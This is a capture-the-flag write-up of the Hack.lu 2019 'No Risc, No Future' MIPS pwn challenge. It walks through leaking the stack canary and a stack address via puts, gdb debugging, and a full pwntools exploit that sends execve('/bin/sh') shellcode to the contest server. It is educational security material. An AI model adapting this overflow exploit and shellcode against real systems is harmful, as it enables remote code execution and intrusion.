Writeup: Hack.lu 2019 - No Risc, No Future

Information

  • category : pwn
  • points : 216

Description

We use microcontrollers to automate and conserve energy. IoT and stuff. Most of them don’t use CISC architectures.

Let’s start learning another architecture today!

nc noriscnofuture.forfuture.fluxfingers.net 1338

Four files: README.txt, no_risc_no_future, qemu-mipsel-static, run.sh

Writeup

Let’see the readme’s content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
No Risc No Future
Running a program in a foreign architecture can feel like an arcane, hard to debug endeavor.

To help you get started, we list some handy commands to bootstrap a more familiar setup.

qemu-user allows exposing a gdb stub before running the binary. This can be connected to from gdb.

In a first shell, expose the stub:

./qemu-mipsel-static -g 1234 no_risc_no_future

In a second shell, connect to the waiting process:

gdb-multiarch -ex "break main" -ex "target remote localhost:1234" -ex "continue" ./no_risc_no_future

Now the process should break at main and you can debug the process.

Enjoy!

We need to check for what architecture the binary no_risc_no_future is compiled.

1
2
3
4
$ file no_risc_no_future 
no_risc_no_future: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV),
statically linked, for GNU/Linux 3.2.0,
not stripped

So we have a binary for MIPS at 32 bit.

Let’s run the program (I marked with # the comments) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ ./qemu-mipsel-static no_risc_no_future
aa # input
aa # output

bbbbbbbbb # input
bbbbbbbbb # output
I # output
aaaaaaaaaaaaa # input
aaaaaaaaaaaaa # output

aaaa # input
aaaa # output
aaaaaaaa # output

aa # input
aa # output
a # output
aaaaaaaa # output

aa # input
aa # output
a # output
aaaaaaaa # output

aaaaaaaaaaaaaaaaaaaaa # input
aaaaaaaaaaaaaaaaaaaaa # output

aaaabbbbbbbbbbbbbbbbbb # input
aaaabbbbbbbbbbbbbbbbbb # output

b # input
b # output
aabbbbbbbbbbbbbbbbbb # output

b # input
b # output
aabbbbbbbbbbbbbbbbbb # output

Apparently the program reads from stdin 10 times and prints the input.

Analyzing the binary with ghidra we can decompile the main function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
undefined4 main(void)
{
int iStack80;
char buf [64];
int iStack12;

iStack12 = __stack_chk_guard;
iStack80 = 0;
while (iStack80 < 10) {
read(0,buf,0x100);
puts(buf);
iStack80 = iStack80 + 1;
}
if (iStack12 != __stack_chk_guard) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}

As I deduced previously the main reads our input 10 times. We can also deduce
that the binary is protected with stack canaries from the __stack_chk_fail()
function.

Let’s confirm the stack canaries hypothesis:

1
2
3
4
5
6
7
8
$ checksec no_risc_no_future 
[*]
Arch: mips-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

And yes is using stack canaries.

Why reading 10 times and puts the input?

Well, puts prints a sequence of chars ended with \x00. We know that the stack
canaries in a 32 bit machine (At least in x86) are in the form of : \x00 + (byte_random) * 3.

If we pass to the program for example 64 * "A" + "\n", the puts we’ll show us the
stack canaries. :D

Let’s write the exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3

from pwn import process, context, log, remote, p32, u32

class Sender:

def __init__(self, conn, debug):
if conn != "run":
self.conn = remote('noriscnofuture.forfuture.fluxfingers.net', 1338)
# self.conn = remote('127.0.0.1', 1338)
else:
self.conn = process('./run.sh')
if debug == True:
context.log_level = 'debug'

def send(self, data):
self.conn.sendline(data)

# Stage 1 read stack cookies
# 1 Read cookie --> 64 byte,
snd = Sender('local', False)
snd.send('a' * 64)
snd.conn.recvline()
cookie = snd.conn.recvline().strip()
print("cookie : " + str(cookie))
assert len(cookie) == 3 # IF cookie is 32 bit and first byte is \x00

Run it:

1
2
3
$ ./exploit.py 
[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
cookie : b'\xc2\x98\xc3'

Run another time to check that the stack canaries change every time:

1
2
3
./exploit.py
[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
cookie : b'\xcb\x15\x81'

Yes we are able to read the cookies.

We see that NX is disabled so a shellcode injection is possible, however we
need a valid address that points to our shellcode on the stack.
Let’s see if on the stack there’s a valid address that we can leak, so let’s
debug the binary with gdb.

In one terminal :

$ ./qemu-mipsel-static -g 4444 no_risc_no_future

And in another one:

1
2
3
4
5
6
7
8
9
gdb-multiarch -ex "break main" -ex "target remote localhost:4444" -ex "continue" -q ./no_risc_no_future
Reading symbols from ./no_risc_no_future...
(No debugging symbols found in ./no_risc_no_future)
Breakpoint 1 at 0x4005fc
Remote debugging using localhost:4444
0x00400350 in __start ()
Continuing.

Breakpoint 1, 0x004005fc in main ()

Let’s disassemble the main and set a breakpoint before the puts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(gdb) disass main
Dump of assembler code for function main:
0x004005e0 <+0>: addiu sp,sp,-104
0x004005e4 <+4>: sw ra,100(sp)
0x004005e8 <+8>: sw s8,96(sp)
0x004005ec <+12>: move s8,sp
0x004005f0 <+16>: lui gp,0x4a
0x004005f4 <+20>: addiu gp,gp,-32000
0x004005f8 <+24>: sw gp,16(sp)
=> 0x004005fc <+28>: lw v0,-32712(gp)
0x00400600 <+32>: lw v0,0(v0)
0x00400604 <+36>: sw v0,92(s8)
0x00400608 <+40>: sw zero,24(s8)
0x0040060c <+44>: b 0x400660 <main+128>
0x00400610 <+48>: nop
0x00400614 <+52>: addiu v0,s8,28
0x00400618 <+56>: li a2,256
0x0040061c <+60>: move a1,v0
0x00400620 <+64>: move a0,zero
0x00400624 <+68>: lw v0,-32620(gp)
0x00400628 <+72>: move t9,v0
0x0040062c <+76>: bal 0x41d2c0 <__read>
0x00400630 <+80>: nop
0x00400634 <+84>: lw gp,16(s8)
0x00400638 <+88>: addiu v0,s8,28
0x0040063c <+92>: move a0,v0
0x00400640 <+96>: lw v0,-32616(gp)
0x00400644 <+100>: move t9,v0
0x00400648 <+104>: bal 0x408f70 <puts>
...
(gdb) b *0x00400648
Breakpoint 2 at 0x400648
(gdb) c

Now write 63 * “A” on the executing terminal and check the stack using gdb:

We can see that our buffer starts in 0x7ffff0f0, and there’s an address on the
stack which points to 0x7ffff140, so 80 bytes higher.

Now we need to leak this address, because it changes every time if the server is using
ASLR, but even if it’s not using ASLR the stack space on the server might be a little
bit different. Because I wanted to confirm that the addresses marked in light blue
don’t change every time, I leaked them too. As far as I can tell those are data
and code addresses, and because we have PIE disabled they should be the same at
every execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Stage 2 
# 2 Read next --> 72 byte
snd.send('a' * 72)
snd.conn.recvline()
val2 = snd.conn.recvline().strip()
print("val2 : " + str(val2))
# 3 Read next --> 92 byte
snd.send('a' * 92)
snd.conn.recvline()
val3 = snd.conn.recvline().strip()
print("val3 : " + str(val3))
# 4 Read next --> 97 byte
snd.send('a' * 99)
snd.conn.recvline()
val4 = snd.conn.recvline().strip()
print("val4 : " + str(val4))
# 5 stack address...
snd.send('a' * 103)
snd.conn.recvline()
val5 = snd.conn.recvline().strip()[:4]
print("val5 : " + str(val5))

Output:

1
2
3
4
5
6
7
./exploit.py 
[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
cookie : b'\x95k\xe9'
val2 : b'\x08@'
val3 : b'\x83I'
val4 : b'\xa8\x08@'
val5 : b'0\xfd\xff\x7f'

In fact the leaked address which points in the stack is a bit different on the
server, while the other addresses val2, val3, val4 are the same as mine, as
I deduced.

Now we need to understand where the return address is located on the stack.
In MIPS there’s no instruction called ret, instead the return value is stored
on the register ra.

Let’s check the disassembler of the last instructions using gdb :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0x0040069c <+188>:   lw      ra,100(sp)
0x004006a0 <+192>: lw s8,96(sp)
0x004006a4 <+196>: addiu sp,sp,104
0x004006a8 <+200>: jr ra
0x004006ac <+204>: nop

(gdb) b *0x0040069c
Breakpoint 2 at 0x40069c
(gdb) c
Continuing.

Breakpoint 2, 0x0040069c in main ()

(gdb) x/30xw $sp
0x7ffff0d8: 0x00498300 0x7ffff204 0x7ffff382 0x004002d4
0x7ffff0e8: 0x00498300 0x0041fb68 0x0000000a 0x41410a61
0x7ffff0f8: 0x41414141 0x41414141 0x41414141 0x41414141
0x7ffff108: 0x41414141 0x41414141 0x41414141 0x41414141
0x7ffff118: 0x41414141 0x41414141 0x41414141 0x41414141
0x7ffff128: 0x41414141 0x41414141 0x0a414141 0x71b32100
0x7ffff138: 0x00000000 0x004008e8 0x00000000 0x00000000
0x7ffff148: 0x00000000 0x00000000

According to the man of the instruction lw, in ra is stored the value in memory
of $sp + 100 = 0x004008e8.

Now we need to overwrite this value with a valid return address on the stack.
From the leaked address (val5) we can substract 80 and obtain the starting
address of our buffer.

There are various shellcode on shell-storm,
this is the only that
worked.
The other ones didn’t work, maybe for the cache coherency problem
described in this paper.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3

from pwn import process, context, log, remote, p32, u32

class Sender:

def __init__(self, conn, debug):
if conn != "run":
self.conn = remote('noriscnofuture.forfuture.fluxfingers.net', 1338)
# self.conn = remote('127.0.0.1', 1338)
else:
self.conn = process('./run.sh')
if debug == True:
context.log_level = 'debug'

def send(self, data):
self.conn.sendline(data)

# Stage 1 read stack cookies
# 1 Read cookie --> 64 byte,
snd = Sender('local', True)
snd.send('a' * 64)
snd.conn.recvline()
cookie = snd.conn.recvline().strip()
print("cookie : " + str(cookie))
assert len(cookie) == 3 # IF cookie is 32 bit and first byte is \x00

# Stage 2
# 2 Read next --> 72 byte
snd.send('a' * 72)
snd.conn.recvline()
val2 = snd.conn.recvline().strip()
print("val2 : " + str(val2))
# 3 Read next --> 92 byte
snd.send('a' * 92)
snd.conn.recvline()
val3 = snd.conn.recvline().strip()
print("val3 : " + str(val3))
# 4 Read next --> 97 byte
snd.send('a' * 99)
snd.conn.recvline()
val4 = snd.conn.recvline().strip()
print("val4 : " + str(val4))
# 5 stack address...
snd.send('a' * 103)
snd.conn.recvline()
val5 = snd.conn.recvline().strip()[:4]
print("val5 : " + str(val5))

shellcode = b'\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff' \
+ b'\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01' \
+ b'\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff' \
+ b'\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh'

payload = shellcode + b'\x00' * (64-len(shellcode))
payload += b'\x00' + cookie
payload += b'\x00' * 4
payload += p32(u32(val5) - 80) # Unpack and pack

with open("out.txt", "wb") as f:
f.write(payload)

for i in range(0, 5):
snd.send(payload)
snd.conn.recvline()
snd.conn.interactive()

Launch the exploit:

Flag

flag{indeed_there_will_be_no_future_without_risc}